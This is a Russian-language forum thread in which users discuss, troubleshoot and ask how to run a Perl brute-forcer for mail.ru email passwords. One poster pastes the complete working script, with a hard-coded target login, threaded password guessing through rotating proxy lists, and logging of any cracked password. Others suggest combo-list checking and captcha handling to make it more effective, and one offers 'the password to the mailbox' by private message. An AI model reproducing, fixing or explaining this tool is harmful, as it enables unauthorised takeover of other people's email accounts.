неплохо было бы вынести частоизменяемые настройки в ini файл или в аргументы скрипта. к примеру пути до словарей. по поводу логин\пасс: конечно же чекер! и не придётся делать 2 режима подбора пароля, такие списки универсальны. по 1 мылу: [email protected];password1 [email protected];password2 по 1 паролю: [email protected];pass1 [email protected];pass1
я в перле не силён, но посмотрев на скрипт мне кажется что в нем нет проверки на появление капчи. ведь если она появится, то даже верный пасс примется как неверный. неплохо было бы это предусмотреть в скрипте.
Вася взял скрипт, 5к прокси, выставил кол-во попыток на 10 и начал восстанавливать забытые пароли на мэил.ру. соседи васи (90 человек), украли у васи список проксей и тоже начали восстанавливать забытые пароли на мэил.ру. получилось, что с одного прокси идёт 910 запросов. мэил ру начал выплёвывать капчу и вагон с индусами не смог восстановить ни одного ящика.
Люди долбрые обьясните плиз как ним юзать создаю, passwords.txt- файл с паролями туда пихаю пароли по одному в строчку, потом создаю proxy.txt- файл с проксями туда пихаю прокси, далее results.txt- Файл для записи результатов, а где писать логин мыла или само мыло, количество потоков и.т.д Обьясните плиз как ним пользоваться, а то очень нужно, буду очень благодарен, заранее спасибо)))
У меня гуды пропускает,верных пасов в password.txt накидал а результатов нет,прокси все рабочие.И еще после использования последний прокси сразу бы на первую неплохо было бы чтоб перепрыгивал
пробывал уже разные прокси,и все равно правильного пасса не находит,хотя он в самом начале списка.Настройки ставил такие
мои настройки use IO::Socket; use threads; use threads::shared; my $num : shared; my $i : shared; my $z : shared; ################################################## ### my $login = "9102266370"; # логин my $domain = "mail.ru"; # домен $kol_threads = 20; # кол-во потоков $timeout = 10; # таймаут $attempt = 5; # через сколько попыток менять прокси $proxy_file = "proxy.txt"; # файл с проксями $passwords_file = "passwords.txt"; # файл с паролями ################################################## #### print "----------------------------------------------------------\n"; print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n"; print "----------------------------------------------------------\n"; open(FILE1, "<", $proxy_file); while(<FILE1>) { chomp; if ($_) {push(@prox, $_);} } open(FILE2, "<", $passwords_file); while(<FILE2>) { chomp; if ($_) {push(@pass, $_);} } close(FILE2); open( FILE, ">>" . "results.txt" ); # Файл для записи результатов $size = @prox; $size1 = @pass; $thr = $kol_threads; # Кол-во потоков $num = -1; # Не меняется $i = 0; $z = 0; print "----------------------\n"; print "Mail - " . $login . '@' . $domain . "\n"; print "Threads - $kol_threads\n"; print "Timeout - $timeout sec\n"; print "Attempts for one proxy - $attempt\n"; print "Proxies - $size\n"; print "Passwords - $size1\n"; print "----------------------\n"; for(0..$thr) { $trl[$_] = threads->create(\&gets); } for(0..$thr) { $trl[$_]->join; } sub gets { $| = 1; while ($num < $size1) { { lock($num); $num++; } $z++; $password = ""; if ($z == $attempt) { $z = 0; if ($i < ($size-1)) { $i++; print "\n"; } } $password = $pass[$num]; $current_proxy = $prox[$i]; ($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy); print $num . " current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r"; $answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0); $ck1 = collect($answ1); $answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/; req('win.mail.ru', $1, 'GET', 0, $ck1); $answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1); if ($answ2 =~ m/msglist/img) { print "\n----------------------\n"; print "[ Found password! Saved in result.txt ]\n"; print "----------------------\n\n\n\n\n"; print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n"; close(FILE); exit; } $num++; print $num . "\r"; sleep 1; } } sub collect { my $data = $_[0]; my $cookie = undef; while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) { $cookie .= $1."; "; } return $cookie; } sub req { my($host, $path, $type, $data, $cookies) = @_; my $request = "$type $path HTTP/1.0\n". "Host: $host\n". "Cookie: $cookies\n"; $request .= "Content-type: application/x-www-form-urlencoded\n". "Content-Length: ".length($data)."\n\n".$data; if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) { print $socket $request; my $answ = undef; $socket->autoflush(1); while(my $buf = <$socket>) { $answ .= $buf; } close $socket; return $answ; } } пароль к мылу в личке